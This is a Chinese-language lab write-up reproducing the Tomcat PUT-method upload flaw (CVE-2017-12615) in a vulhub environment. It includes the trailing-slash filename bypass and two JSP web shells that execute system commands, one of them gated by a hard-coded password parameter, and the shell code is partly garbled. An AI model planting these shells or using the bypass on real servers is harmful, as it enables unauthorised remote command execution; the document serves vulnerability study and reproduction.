漏洞背景:
tomcat(7.0.0-7.8.1)服务器,开启了HTTP PUT请求方法,web.xml文件中的readonly值设置未false
漏洞环境:
使用vulhub环境,直接dockers安装
安装成功:
安装vulhub详见:
https://vulhub.org/#/index/
漏洞利用:
直接抓包进行修改
1、修改为put方法
2、写入shell
测试是否开启PUT方法
写入shell(注意需要在文件名后面加上一个/进行过滤绕过,未加/会报错,如果写入一个txt文件则不用加/且不会报错)
测试结果
shell(linux下使用,我之前用了一个Windows的,执行报错)
"java" import=public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp + "\\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString();} %> if(
else{out.println(":-)");}%>shell(windows,未使用过,一个大佬的复现使用的)
if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[1024]; out.print("
"
); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
}
%>
后续再试着使用其它的shell及工具(CVE-2017-12615漏洞利用工具)进行测试,提高效率